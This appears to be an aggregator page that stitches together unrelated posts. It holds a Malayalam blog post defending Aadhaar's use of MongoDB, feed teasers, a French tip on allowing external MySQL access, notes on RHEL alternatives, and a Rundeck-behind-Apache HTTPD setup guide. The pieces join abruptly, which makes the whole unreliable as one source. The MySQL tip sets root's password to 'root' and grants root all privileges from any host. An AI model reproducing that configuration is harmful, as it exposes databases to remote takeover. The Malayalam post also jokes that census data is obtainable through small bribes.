    ഗൂഗിളിനാണ് ആദ്യം ഇതിനൊരു പരിഹാരം കണ്ടു പിടിക്കേണ്ടി വന്നത്. കാരണം അവരുടെ കൂറ്റൻ വിവര ശേഖരം തന്നെയാണ് . അവർ നടത്തിയ ഗവേഷണങ്ങളുടെ ഫലമായി ഉണ്ടായതാണ് ബിഗ്‌ ടേബിൾ എന്ന ആശയം. അവരുടെ ക്രോളർ പ്രോഗ്രാമുകൾ ലോകത്തെ പുതിയതും പഴയതുമായ വെബ്‌ സൈറ്റുകളിൽ കയറിയിറങ്ങി വിവരങ്ങൾ ശേഖരിച്ചു അതിന്റെ ഒരു ഇൻടെക്സ്‌ തയ്യാറാക്കി സൂക്ഷിക്കുന്നു. നിങ്ങൾ സെർച്ച്‌ ചെയ്യുമ്പോൾ എന്താണ് സംഭവിക്കുന്നതെന്ന് ഇവിടെ കാണാം. ഒരു ഇ-മെയിൽ അയക്കുമ്പോൾ ഇതാണ് പുറകിൽ നടക്കുന്നത്.  ഈ വിവരങ്ങൾ സൂക്ഷിച്ചു വയ്ക്കാൻ  ഗൂഗിൾ നടത്തി വരുന്ന ഡാറ്റാ സെന്റർ കണ്ടു നോക്കൂ 

      ബിഗ്‌ ടേബിൾ അടിസ്ഥാനമാക്കി പിന്നീട് വികസിപ്പിക്കപ്പെട്ട ഡാറ്റാബേസ് സോഫ്റ്റ്‌വെയറുകളാണ് ഇപ്പോൾ ലോകത്തെ വമ്പൻ കമ്പനികളെ സഹായിക്കുന്നത്. Hadoop, Mongo DB, Cassandra, Couch DB ഇവയാണ് ഇതിലെ മുൻ നിരക്കാർ. ഇതിൽ മിക്കവയും ഓപ്പണ്‍ സോഴ്സ് ആണ്. ഓപ്പണ്‍ സോഴ്സ് എന്ന് വച്ചാൽ, ലളിതമായി പറഞ്ഞാൽ ,  ആ സോഫ്റ്റ്‌വെയർ പ്രോഗ്രാമിന്റെ കോഡ് നിങ്ങൾക്ക് ലഭിക്കും എന്നാണർത്ഥം. ആ കോഡ് നിങ്ങൾക്ക് വായിച്ചു നോക്കാം, നിങ്ങളുടേതായ രീതിയിൽ അതിൽ മാറ്റങ്ങൾ വരുത്താം, സൌജന്യമായി തന്നെ അത് മറ്റുള്ളവർക്കും വിതരണം ചെയ്യാം. കൂടുതൽ മനസ്സിലാകണമെങ്കിൽ ഈ ലിങ്ക് വായിച്ചു നോക്കുക
മൈക്രോസോഫ്ട്‌ പോലുള്ള കമ്പനികൾ പുറത്തിറക്കുന്ന സോഫ്റ്റ്‌വെയറുകൾ ഒന്നും സൌജന്യമല്ല. ലൈസൻസ് കാശു കൊടുത്തു വാങ്ങി ഉപയോഗിക്കേണ്ട സോഫ്റ്റ്‌വെയർ ഉത്പന്നങ്ങളാണ് അവരൊക്കെ വിൽക്കുന്നത് . അതുകൊണ്ട് തന്നെ മുതൽ മുടക്കില്ലാതെ കമ്പ്യൂട്ടറൈസേഷൻ  ചെയ്യാനുദ്ദേശിക്കുന്നവർക്ക് ഇത്തരം സൗജന്യ ഓപ്പണ്‍ സോഴ്സ് സോഫ്റ്റ്‌വെയറുകൾ ഒരു അനുഗ്രഹമാണ്. ( കമെർസ്യൽ സോഫ്റ്റ്‌വെയറുകൾ അവരുടെ കോഡ് പബ്ലിഷ് ചെയ്യാത്തത് കൊണ്ട് അത് വാങ്ങരുതെന്നും , പണം കൊടുത്തു അത് വാങ്ങുന്നവനു അതിന്റെ കോഡും കൊടുക്കണം എന്നൊരു വാദം ഓപ്പണ്‍ സോഴ്സിനെ അനുകൂലിക്കുന്നവർ ഉയർത്തുന്നുണ്ട്. ഒരു കാർ വാങ്ങുമ്പോ അതെങ്ങനെ ഉണ്ടാക്കാം എന്നുള്ള വിവരം കൂടി കൊടുക്കണം എന്ന് പറയുന്നത് പോലുള്ള ഒരു ബോറൻ വാദമാണ് ഇത്. അതവിടെ നിൽക്കട്ടെ. നീണ്ട ഒരു ചർച്ച ആവശ്യമുള്ള ഒരു വിഷയമാണത് )

എന്തുകൊണ്ട് ആധാറിൽ ഇതുപയോഗിക്കുന്നു ?


സൌജന്യമാണ് എന്നത് മാത്രമല്ല, വളരെ ബ്രഹത്തായ ഡാറ്റാ ഏറ്റവും വേഗതയിലും കൃത്യതയോടെയും കൈകാര്യം ചെയ്യാൻ കഴിവുള്ള  ഒരു ബിഗ്‌ ഡേറ്റ സോഫ്റ്റ്‌വെയർ ആണ് മൊംഗൊ ഡി ബി. വ്യാവസായിക ആവശ്യത്തിനായുള്ള ലൈസൻസ് സൌജന്യമാണ്. സപ്പോർട്ട് സേവനങ്ങളിലൂടെയും മറ്റുമാണ് അവർ വരുമാനം ഉണ്ടാക്കുന്നത്‌. 10 G എന്നായിരുന്നു ഈ കമ്പനിയുടെ ആദ്യത്തെ പേര്. ഈയിടെ മോംഗോ ഡി ബി എന്ന് അവർ പേര് മാറ്റുകയുണ്ടായി. ലിനക്സ്‌ , വിൻഡോസ്‌ , സോളാരിസ് , മാക്‌ ബേസുകളിൽ പ്രവർത്തിക്കുന്ന മൊംഗൊ പതിപ്പുകൾ ലഭ്യമാണ്. JSON ( Java Script Object Notation ) എന്ന ഒരു ഫോർമാറ്റിൽ ആണ് ഇത്തരം fluidic data സൂക്ഷിക്കപ്പെടുന്നത്. ലിനക്സ്‌ പോലുള്ള ഒരു സൗജന്യ ഓപ്പറേറ്റിംഗ് സിസ്റ്റവും അപാഷെ പോലുള്ള ഒരു വെബ്‌ സെർവറും മുകളിൽ പറഞ്ഞ ഏതെങ്കിലും ഒരു ഡാറ്റാബേസ് സോഫ്റ്റ്‌വെയറും  ഒക്കെ വച്ച് അത്യധികം ശക്തിയുള്ള ഒരു  സംഗതി വളരെയെളുപ്പത്തിൽ ഉണ്ടാക്കിയെടുക്കാം. Raspberry Pi പോലുള്ള കുഞ്ഞൻ  കമ്പ്യൂട്ടർ മുതൽ നൂറു കണക്കിന് നോഡുകൾ ഉള്ള ഒരു distributed database farm വരെ ഇതിൽ ചെയ്യാം. ഹാർഡ്‌വെയർ വാങ്ങുന്ന ചെലവു മാത്രം മതി. ഇത്രയും നല്ല പ്രകടനം തരുന്ന ഇത് പോലുള്ള ഒരു സോഫ്റ്റ്‌വെയർ ഉണ്ടാക്കിയെടുക്കണമെങ്കിൽ , വേണമെങ്കിൽ നമുക്കും പറ്റും എന്നൊരു വാദത്തിനു പറയാം. പക്ഷെ കുറഞ്ഞത്‌ രണ്ടു വർഷം സമയവും ലക്ഷക്കണക്കിന്‌, ചിലപ്പോ കോടി കണക്കിന് മുതൽമുടക്ക് അത്തരം ഒരു സോഫ്റ്റ്‌വെയർ നിർമിക്കാൻ തന്നെ ചെലവാകും. എങ്കിൽ തന്നെയും അത് എത്രത്തോളം വിജയകരമാകും എന്ന് ഉറപ്പിച്ചു പറയാനും പറ്റില്ല. അതുകൊണ്ട് ആധാർ ടീം എളുപ്പവും പ്രായോഗികവും ആയ വഴി തെരഞ്ഞെടുത്തു എന്ന് പറയാം.

എന്താണിതിലെ സുരക്ഷാ പ്രശ്നം ?

In-Q-Tel എന്ന കമ്പനി മൊംഗൊ ഡി ബിയിൽ ഇൻവെസ്റ്റ്‌ ചെയ്തിരിക്കുന്ന ഒരു കമ്പനിയാണ്. ഇത് ഒരു CIA സ്പോണ്‍സേർഡ് കമ്പനി ആണെന്നതാണ് ഈ വിവാദങ്ങൾക്ക് എല്ലാം കാരണം. മാത്രമല്ല മൊംഗൊയുടെ സി ഇ ഓ ആയ മാക്സ് ഡൽഹിയിൽ വന്നു ആധാറുമായി ബന്ധപ്പെട്ട ഒരു കരാർ ഒപ്പിടുകയും ചെയ്തിട്ടുണ്ട്. ഈ കരാർ എന്താണ് എന്നതിന്റെ വിശദാംശങ്ങൾ ലഭ്യമല്ല. പക്ഷെ നമ്മുടെ വിവര സുരക്ഷയ്ക്ക് ഈ സംഗതിയുമായി വലിയ ബന്ധം ചിന്തിക്കേണ്ട കാര്യമില്ല. ഇതൊന്നുമല്ല നമ്മൾ ഉപയോഗിക്കുന്നതെങ്കിൽ തന്നെയും വിവര സുരക്ഷ എന്നത് തീർത്തും വേറിട്ടതും പ്രധാനപ്പെട്ടതുമായ ഒരു കാര്യമാണ്. ഡേറ്റ കൈമാറ്റം ചെയ്യപ്പെടുന്ന നെറ്റ് വർക്കുകൾ, സൂക്ഷിക്കപ്പെടുന്ന കമ്പ്യൂട്ടറുകൾ, ഇവ ശേഖരിച്ചു വച്ചിരിക്കുന്ന ഡിസ്ക്കുകൾ അല്ലെങ്കിൽ storage servers എന്നിവയിൽ നിന്നൊക്കെ ഇത് കൈമോശം വരാനുള്ള സാധ്യത ഏറെയാണ്‌. അല്ലെങ്കിൽ, നിങ്ങൾ ഉപയോഗിക്കുന്ന സോഫ്റ്റ്‌വെയറിൽ ഒളിപ്പിച്ചു വച്ചിരിക്കുന്ന ഒരു ചെറിയ കോഡ് മോഡ്യൂൾ കൊണ്ട് നിങ്ങളുടെ കമ്പ്യൂട്ടറിലെ വിവരങ്ങൾ ഇന്റർനെറ്റ്‌ വഴി ആരും അറിയാതെ ദൂരെയുള്ള ഒരു സ്ഥലത്തേയ്ക്ക് അയച്ചു കൊടുക്കാൻ പറ്റും.  അങ്ങനെ പരസ്പരം ബന്ധിപ്പിച്ചിരിക്കുന്ന കമ്പ്യൂട്ടറുകളിലെ വിവരങ്ങൾ മോഷണം പോകാതെ സൂക്ഷിക്കണമെങ്കിൽ തക്കതായ security audit നടത്തുകയും വേണ്ട സുരക്ഷാ സംവിധാനങ്ങൾ ഏർപ്പെടുത്തുകയും ആണ് വേണ്ടത്. മൊംഗൊ ഒരു ഓപ്പണ്‍ സോഴ്സ് സോഫ്റ്റ്‌വെയർ  ആണല്ലോ. നിങ്ങൾ ഉപയോഗിക്കാൻ പോകുന്ന കോപ്പിയുടെ ഒരു കോഡ് പരിശോധിച്ചാൽ അതിൽ ഒളിഞ്ഞിരിക്കുന്ന എന്തെങ്കിലും ചാര പ്രോഗ്രാമുകൾ ഉണ്ടോ എന്ന് മനസ്സിലാക്കാവുന്നതേയുള്ളൂ. നിങ്ങളുടെ സെർവർ മഷീനുകൾ ആരൊക്കെയാണ് ഉപയോഗിക്കുന്നത്, എവിടെ നിന്നൊക്കെ , ആരൊക്കെ അതിൽ വിവരങ്ങൾ ചേർക്കുകയും എടുക്കുകയും ചെയ്യുന്നു എന്നൊക്കെ വളരെ എളുപ്പത്തിൽ നിരീക്ഷിക്കാൻ പറ്റും. കേട്ടിടത്തോളം വളരെ പ്രൊഫെഷണൽ ആയി ഒരു secure data center പ്ലാനിംഗ് ഈ പ്രൊജക്റ്റിനു വേണ്ടി നടക്കുന്നുണ്ട്. peta bytes കണക്കിന് ഡേറ്റ സൂക്ഷിക്കാൻ കഴിവുള്ള ഒരു ഡേറ്റ സെന്റർ നമ്മൾ ഉണ്ടാക്കാനും തുടങ്ങിയിട്ടുണ്ട്. ചുരുക്കി പറഞ്ഞാൽ , ഇത്തരം ഓഫു സോഫ്റ്റ്‌വെയർ ഉപയോഗിച്ചത് കൊണ്ട് മാത്രം ആരും നമ്മുടെ വിവരങ്ങൾ മോഷ്ടിച്ച് കൊണ്ട് പോകില്ല. എത്ര സുരക്ഷിതമായ സോഫ്റ്റ്‌വെയറുകൾ ഉപയോഗിച്ചാലും , നിങ്ങളുടെ നെറ്റ് വർക്കിന്റെ സുരക്ഷയാണ് പ്രധാനം. നിർഭാഗ്യവശാൽ ഇന്ത്യയിൽ ഇത്തരം ദേശീയ പ്രാധാന്യമുള്ള പല പ്രോജക്ടുകളും വളരെയധികം ബാലിശമായിട്ടാണ് കൈകാര്യം ചെയ്തു വരുന്നത്  ( ഇൻകം ടാക്സ് ഡിപാർട്ട്മെന്റ്  , പാസ്പോർട്ട്‌ സേവ തുടങ്ങി അപവാദങ്ങൾ ഇല്ലെന്നല്ല ) വോട്ടർ ഐ ഡി പ്രോജക്റ്റ് തന്നെ ഉദാഹരണം. ഈ പ്രോജക്ടിൽ ജോലി ചെയ്തിരുന്ന പലരും ഓഫീസിൽ ഇരുന്നു സിനിമ ഒക്കെ ഡൌണ്‍ലോഡ് ചെയ്ത ശേഷം വോട്ടർമാരുടെ വിവരങ്ങൾ അടങ്ങിയ ഹാർഡ് ഡിസ്കുകളിൽ തന്നെ അത് കോപ്പി ചെയ്തു വീട്ടിലൊക്കെ കൊണ്ട് പോയിരുന്നത് ഞാൻ നേരിട്ട് കണ്ടിട്ടുള്ളതാണ്. നന്ദൻ നിലെക്കനി വിവരമുള്ള ആളായത് കൊണ്ട് അത്യാവശ്യം സിസ്റ്റമാറ്റിക് ആയിട്ടാണ് ആധാർ ഡിസൈൻ ചെയ്തിരിക്കുന്നത്. ചെറിയ പ്രശ്നങ്ങൾ ഒക്കെ ഉണ്ടാവുമായിരിക്കും. ഓർക്കുക , ലോകത്ത് വികസിത രാജ്യങ്ങൾ ബില്യൻ കണക്കിന് ഡോളർ ചെലവാക്കി ചെയ്ത ഒരു സംഭവമാണ് അതിന്റെ ഒരു ചെറിയ ശതമാനം മാത്രം ബജറ്റ് കൊണ്ട് ഇന്ത്യ പോലുള്ള ഒരു രാജ്യത്തു നമ്മൾ നടപ്പിലാക്കുന്നത്. സോഫ്റ്റ്‌വെയറിൽ ജോലി ചെയ്യുന്ന ഒരാളെന്ന നിലക്ക് ഇതിലെ കടുത്ത സാങ്കേതിക വെല്ലുവിളികൾ എത്രത്തോളം ഉണ്ട് എന്ന് എനിക്ക് നല്ലത് പോലെ അറിയാം. ഈ സാഹചര്യത്തിൽ അദ്ദേഹവും ടീമും അഭിനന്ദനം അർഹിക്കുന്ന പ്രകടനം തന്നെയാണ് നടത്തിക്കൊണ്ടിരിക്കുന്നത്.

വാൽക്കഷണം 

CPM ഇപ്പോഴും പതിനേഴാം നൂറ്റാണ്ടിൽ തന്നെയാണ് നിൽക്കുന്നത്. ഇന്ത്യയിലെ കാനേഷുമാരി കണക്കുകൾ കിട്ടാൻ ഇത്രയും ബുദ്ധിമുട്ടേണ്ട ഒരു കാര്യവുമില്ല. ഏതു വില്ലേജ് ഓഫീസിൽ ചെന്ന് പത്തോ നൂറോ കൊടുത്താലും പയറ് പോലെ കിട്ടുന്ന കാര്യം മാത്രമാണ് അത്.. ഹി ഹി 

          How to Migrate Data From PostGres to MySQL on a Remote Server for a Ruby on Rails Application   

When it comes to migrating data from postgres to mysql, a developer might face some compatibility issues for which finding the right solution becomes a hectic task. I went through a lot of hassle when migrating data of an application from postgres local server to a remote mysql cloud based server. This small step by […]

The post How to Migrate Data From PostGres to MySQL on a Remote Server for a Ruby on Rails Application appeared first on Arkhitech.


          Hallo Welt!   
Hier gibt's demnächst Beiträge für Internet-Entwickler. Sicher nicht nur die üblichen Tipps und Tricks zu PHP und MySQL, sondern vielleicht auch mal die eine oder andere Story über den Tellerrand Monitorrand hinaus. Viel Spaß beim Lesen/Hören Mein Podcast bei podster Marian
          Senior Network Engineer - PT Interactive Media Business - Canada   
Ability to perform coding in Unix shell scripting (basj, ksh), Perl, PHP, MySQL and other relevant scripting language....
From PT Interactive Media Business - Sat, 08 Apr 2017 09:53:38 GMT - View all Canada jobs
          Networking 101 -the Student way   

Originally posted on: http://geekswithblogs.net/dforhan/archive/2005/11/03/58991.aspx

Yesterday after school a few students from my AP class came by for our weekly computer club meeting. At this meeting they took a computer system, which was an amalgam of spare parts, and installed Ubuntu ( a user-friendly open source Linux shell) with the intent on building a Web server for our school. They then installed Apache, MySQL, and a PHP web interface for remote access to our Web server. The whole experiment went great. We did have to call the cable company to get port 80 forwarded to or domain (from our cablem modem/router), but other than that it went off without a hitch.

 Our headmaster loves the idea of what we are doing, and may let us buy a new server for this now that we have “proof of product”. We hope to do the scale up by purchasing a Dell Xeon server. Our ultimate goal is to install Windows server 2003, and set up an exchange server so that our school community can take full advantage of the wonderful resources Microsoft has to offer through our MSDN subscription. We also hope to eventually set up subdomians for teacher's to host their Web sites like many colleges do. Another aside, AP student Brendan (TCP/IP guru) has found a nice blog utility that we will use to set up blogs for every teacher in the school using our Web server. Once everything is online I will post the URL.


          Autoriser l'accès MySQL depuis l'extérieur   

Parfois, on aime bien avoir une base données accessible depuis l’extérieur pour se faciliter la vie lors du développement. Je note donc ici comment faire par ce que ça peut en aider plus d’un mais aussi par ce que c’est le genre de truc que je fais une fois puis que j’oublie complètement.

D’abord, il faut s’assurer que dans le my.conf on est bien cette ligne:

bind-address=0.0.0.0

Si ce n’est pas le cas, ou que l’adresse est différente, changez cette ligne et redémarré MySQL.

Par défaut avec l’installation de MySQL, l’utilisateur root n’a pas de mot de passe et cela pose des problèmes. Pour le changer il faut se connecter à la console MySQL

mysql -u root

Puis changer le mot de passe de root:

SET PASSWORD FOR 'root'@'localhost' = PASSWORD('root');

Maintenant comme root à un mot de passe, si vous avez besoin de vous reconnecter à la console MySQL, il faudra lui préciser:

mysql -u root -proot

Non non, il n’y a pas d’erreur, il s’agit bien de l’option -p suivi du mot de passe root tout attaché.

Enfin, pour autoriser l’access externe:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

PS: l’astuce du jour, il est possible de coller un dump.sql entier directement dans la console MySQL. Chaque requête SQL sera exécuté une à une. (eg: C’est le cas à utiliser quand la lois de murphy s’applique dans tout les contextes possible de votre enivrement de développement)


          A little bit naugty : Reset MySQL Password on Windows   


Below was reality step that have been left at MySQL Documentation How to Reset the Root Password #http://dev.mysql.com/doc/refman/5.0/en/resetting-permissions.html


We need to

1. Create a text-file

2. Execute command in command prompt

3. Test the change with a login to MySQL Server
4. Guarantee it works Guys.



          Change MySQL ROOT Password   


How Change MySQL ROOT Password? its pretty simple when using phpmyadmin, especially we using XAMMP just go to http://localhost/phpmyadmin on your browser, then choose privilege menu, then write your password like picture above.

          WordPress web developer with 1 to 3 years experience - Intermediate level   
WordPress developer proficient in PHP, HTML and CSS, MySQL, Ajax, jQuery and JavaScript. Has a thorough understanding about the best practices and industry standards.

          Drupal web developer with 3 to 5 years experience - Advance level   
Exceedingly capable and knowledgeable Web Developer specializing in Drupal CMS and MySQL database.

          WordPress CMS Development   

WordPress is an open source blog publishing application based on PHP and MYSQL to help build blogs for your services and products. Fortune Innovations company, we offer WordPress development, design consultation services to our clients mainly based out of Brisbane and other cities in Australia. We offer an array of WordPress themes and templates to select from, and we will Create blogs and sites as per your requirements exactly the way that you need. Read more about WordPress CMS Development


          Joomla CMS Development   

Joomla! is an advanced yet simple to manage Open Source Content Management System written in PHP and MYSQL. This PHP-based CMS enables web administrators to build everything ranging from simple websites to complex applications. Read more about Joomla CMS Development


          Retrieving Data From a MySQL Database   
In this article I am going to show you how to programmatically retrieve data from a MySQL database using the MySqlDataAdapter and the MySqlDataReader classes. Both these classes are available once you install the MySQL Connector for .NET which can be downloaded from here: MySQL Connectors. For this example we need a database with some […]
          Connecting to a MySQL Database Programmatically   
Microsoft Visual Studio lets you create a database connection using its IDE, and it’s quite powerful as well, but personally I prefer to create my database connections programmatically. When creating my connection’s code manually I find it easier to follow the code, plus it can be easier to debug as well. I am by no […]
          Combinação Perfeita – HTML + CSS + PHP + MySQL   
Vamos entender um pouco mais sobre as linguagens de programação utilizadas em nossos trabalhos! HTML, CSS, JavaScript, jQuery, PHP e MySQL! O que é isto? Como isto funciona? Abaixo vamos explicar como cada um desses itens funcionam e como eles se comunicam. Primeiramente vamos saber o que significa cada uma das linguagens: HTML: (Abreviação para a expressão inglesa […]
          MYSQL DBA   
Global Resource Management, Inc. atlanta, GA
          MYSQL and MongoDB DBA   

          Comment on Postgres Transactions Aren’t Fully Isolated by Robins   
MySQL was just an example here. The defaults in MySQL silently corrupt data ☺️ so let's just not go to scary land. My point is that the title is misleading given that that is the norm in the industry. Because as far as I know no other DBMS has serialisation as it's default which I hope you would agree is the best isolation level that you desire here.
          Comment on Postgres Transactions Aren’t Fully Isolated by malisper   
Except most of your typical Postgres users are running Postgres under the default transaction isolation level. If MyISAM was still the default MySQL storage engine and was the one most people used, I would feel comfortable saying "MySQL isn't transactional".
          Comment on Postgres Transactions Aren’t Fully Isolated by Robins   
But that is as per standards. I would have said "Postgres transactions aren't fully isolated" if it did if it doesn't do what it says (which is not the case)... or .... if it didn't support an isolation level from the standard (which is not true either, since it does support all relevant levels). The article title is akin to saying "MySQL isn't transactional".... but you should say that only if you're using MyISAM, in which case this is expected.
          Senior Back End   
Senior Web Developer Why work with us? • Competitive salary. • Fast growing company with great opportunity for career growth. • Collaborative environment with extremely talented engineers. • We work with the most state of the art technologies. • Flex hours, flex days and telecommuting options. • Lots of snacks, games and all around fun stuff!! • One-day recruitment process • To start immediately. Job Details: The senior web developer will work with our Tech team to develop and support web applications, mobile applications, and API integration projects, among other applications. We are looking for a self-starter who is excited to learn and improve his or her skillset in the ever-evolving medium of the web. The ideal candidate is a creative thinker with experience in LAMP stack development, MEAN stack development and standard front end technologies. The senior web developer will report to the Team Lead. Requirements: • Strongly motivated in developing back-end web applications. • Thorough knowledge of the LAMP (Linux-Apache-MySQL-PHP) stack. • Knowledge in modern standards-based browser development (HTML/HTML5, CSS/CSS3, Bootstrap, Responsive Design, Cross browsing). • Thorough knowledge of REST API integration and design. • Thorough knowledge in messaging language like: JSON, XML ...etc. • Experience integrating with server-side code to produce dynamic pages. • Solid understanding of MVC Architecture and Object Oriented design principles. • Good understanding of developing software using the Agile/SCRUM development methodology. • The ability to architect backend applications. • Experience in cross-platform environments. • Advanced database skills and SQL using relational (MySQL). • Understanding of web protocols, markup languages, and scripting languages including but not limited to: HTML5, CSS3, JavaScript, JSON, jQuery, and XML. • Good knowledge of security requirements in a web development environment • BS/MS in in computer science, software engineering, computer engineering, information systems, information technology or related fields. • teamwork: knowing when and how to ask and answer questions. • Deliver tasks on time and with high quality code. • Proven ability to write clean structured and well documented code (Samples will be requested) and to read through and understand existing code. • Passion for technology and Keen to learning new technologies. • Eager, quick learner with strong team-work spirit. Plus factor: • Knowledge of native JavaScript and JS frameworks like Jquery, AngularJS, React, Backbone, Ember ...etc. • Knowledge of at least one of the various PHP frameworks like Laravel ,Symphony , Zend ..etc and one of Micro PHP Framework like Slim , Slix, flight, wave, f2..etc • Basic knowledge in CMS like Wordpress, Joomla, Drupal..etc. and open source e-commerce solutions like Opencart ,Magento ..etc. • Knowledge in Native mobile Application Development (IOS, Android , Windows phone) . • Knowledge of NodeJS Programming , NodeJS framework like: Express, Sails ..etc and MEAN Stack . • Knowledge any other programing languages and framework like : Ruby on rails, .Net, NodeJS, Python , Java ..etc. • Knowledge in HTML5 JS Framework like : easeljs , kineticjs , fabricjs , paperjs , Sencha Touch, KendoUI • Experience in Mobile web development and Experience in web mobile frameworks like : Phonegap,Titanium, Ccooconjs ..etc. • Experience in other SQL Databases like : Oracle , MSSQL , Postgre ..etc and Non-SQL Databases like : MongoDB, CouchDB , Hadoop , Cassandra ..etc • Knowledge in web design. • Knowledge in Foundation and Skeleton CSS framework. • Knowledge in Software engineering. • Ability to use Photoshop and Illustrator. • Prior internship experience. • Leadership experience at university.
          GNU, GPL, and 'Contamination'   
  • GDB 8.0 Released, Adds Many New Features, Drops Java GCJ Support

    GDB 8.0 has been released as the newest feature release for this widely-used GNU Debugger.

  • [Older] Understanding the “GPL is a Contract” court case

    There’s been a lot of confusion about the recent Artifex v. Hancom case, in which the court found that the GPL was an enforceable contract. I’m going to try to explain the whole thing in clear terms for the legal layman.

  • [Older] Google's New Mobile OS Will Have a Distinctly Non-Linux Hue [Ed: less GPL]
  • Not Open, Not Closed: The Future of Hybrid Licenses

    With proprietary software pressured and giving ground to open source competition, however, the process for selling software has become more challenging. It is possible, of course, to monetize open source software directly. A variety of mechanisms have been tried, from dual licensing to support and service to open core. It is inefficient and significantly less profitable than selling proprietary software was, however. Even the best in the industry depended heavily on volume to make up for the difficulty in converting users of free software to paid customers. MySQL, for example, reportedly was at its peak able to convert one in a thousand users to a paid product. Combined with generally lower margins (though Pivotal might disagree) due to increased competition from other open source projects, and it’s not difficult to understand why it’s harder for commercial organizations to extract revenue relative to proprietary competitors. Red Hat, then, is the exception that proves the rule.


          DevOps Engineer - GlaxoSmithKline - Upper Providence, PA   
Familiarity with RDBMS platforms (MySQL, Oracle etc) and SQL is preferred. The individual will work closely with developers, architects, and end users to...
From GlaxoSmithKline - Fri, 19 May 2017 18:39:00 GMT - View all Upper Providence, PA jobs
          Process Automation Engineer - UnitedHealth Group - Ireland, WV   
Good database skills with proven experience using SQL Server / Oracle / MySQL etc. Is it important to you to create an application that will benefit millions of...
From UnitedHealth Group - Wed, 28 Jun 2017 21:45:30 GMT - View all Ireland, WV jobs
          Eliminate articles when ordering in MySQL   
When generating alphabetically ordered resultsets from your tables, it may be useful to eliminate articles (the and a in the English language). The following is a simple method of doing this.
           MySQL Database Administrator   
MySQL Database Administrator Wetpaint is an innovative web company developing a new set of online collaborative tools that brings the best of wikis, blogs, and forums together in one easy-to-use...
          Ataque de for a bruta no SSH MySQL VNC Usando Metasploit Framework   
- youtube : Ataque de for a bruta no SSH MySQL VNC Usando Metasploit Framework
          alternatives on RHEL 6 using update-alternatives   

When multiple types/versions of software can be installed on a system, the alternatives system can be used. Some examples of software that use alternatives are:

  • java (openjdk/oracle)
  • mta (sendmail/postfix/exim)
  • php (different versions)
  • zabbix-server (using mysql/psql)
  • gpg (using gpg/pgp)

Alternatives can be added to the system:

alternatives --install <link> <name> <path> <priority>

  1. link - refers to the path the system uses to access the facility, common to all alternatives.
  2. name - is an identifier common to all alternatives.
  3. path - is a path to the unique altenative.
  4. priority - a number to indicate what alternative may be used when using "auto". Higher means it will be selected.

When adding an alternative, sometimes "slaves" are required. For example, these "masters" and "slaves" relate to eachother:

  • postfix - mailq
  • java - keytool

Alternatives can be selected in "manual" or "auto" mode. Manual means an alternative is selected and it will use an alternative until another one is selected. Auto means the alternatives system will automatically select the alternatives with the hightest priority. This means the selected alternative can change when a new alternative is added.
By default "auto" is used. Package upgrades may cause a switch. Auto does have the benefit that vendor updates will cause a desirable effect. When removing an alternative (for example by removing a package that supplied the alternative software) the next preferred alternative will be selected, which is nice.


          Rundeck on CentOS behind Apache HTTPD proxy   

Rundeck is getting more and more attention, not strange; it's a wonderful tool to execute code on remote hosts.

I had some troubles figuring out how to make Rundeck work when installed behind an Apache HTTPD proxy. Here are the steps I took.

1. Install Rundeck

That's easy:

sudo rpm -Uvh http://repo.rundeck.org/latest.rpm
sudo yum install rundeck

Interesting to know: the configuration has been split off to a different RPM:

rpm -qR rundeck
...
rundeck-config

2. Let Rundeck use MySQL

By default Rundeck uses an H2 database. It's probably technically nice, but difficult to manage. I suggest to use MySQL immediately.

Rundeck comes with a mysql connector which is great!

rpm -ql rundeck|grep -i mysql
/var/lib/rundeck/exp/webapp/WEB-INF/lib/mysql-connector-java-5.1.17-bin.jar

In the file rundeck-config.properties set the parameter dataSource.url

dataSource.url = jdbc:mysql://localhost/rundeck
dataSource.username = rundeck
dataSource.password = SomePassword

Now create the database and user in MySQL

mysql> create database rundeck;
mysql> grant all on rundeck.* to 'rundeck'@'localhost' identiefied by 'SomePassword';

Rundeck will provision the database automatically.

3. Configure Apache HTTPD

Install Apache HTTPD.
sudo yum install httpd
Add a file /etc/httpd/conf.d/rundeck.conf

<Location "/rundeck">
        ProxyPass http://localhost:4440/rundeck
        ProxyPassReverse http://localhost:4440/rundeck
</Location>

4. Configure Rundeck's profile

This is an important one; without this step you will see a very ugly rundeck, stylesheets and images are not loaded.
Change /etc/rundeck/profile. Somewhere you'll find the variable export RDECK_JVM. Add an option to it: -Dserver.web.context=/rundeck \. My result looks like this:

export RDECK_JVM="-Djava.security.auth.login.config=/etc/rundeck/jaas-loginmodule.conf \
        -Dloginmodule.name=RDpropertyfilelogin \
        -Drdeck.config=/etc/rundeck \
        -Drdeck.base=/var/lib/rundeck \
        -Drundeck.server.configDir=/etc/rundeck \
        -Dserver.datastore.path=/var/lib/rundeck/data \
        -Drundeck.server.serverDir=/var/lib/rundeck \
        -Drdeck.projects=/var/rundeck/projects \
        -Drdeck.runlogs=/var/lib/rundeck/logs \
        -Drundeck.config.location=/etc/rundeck/rundeck-config.properties \
        -Dserver.web.context=/rundeck \
        -Djava.io.tmpdir=$RUNDECK_TEMPDIR"

5. Start it all up (persistently)

sudo chkconfig httpd on
sudo service httpd start
sudo chkconfig rundeck on
sudo service rundeck start

Now you should be able to access http://yourhost/rundeck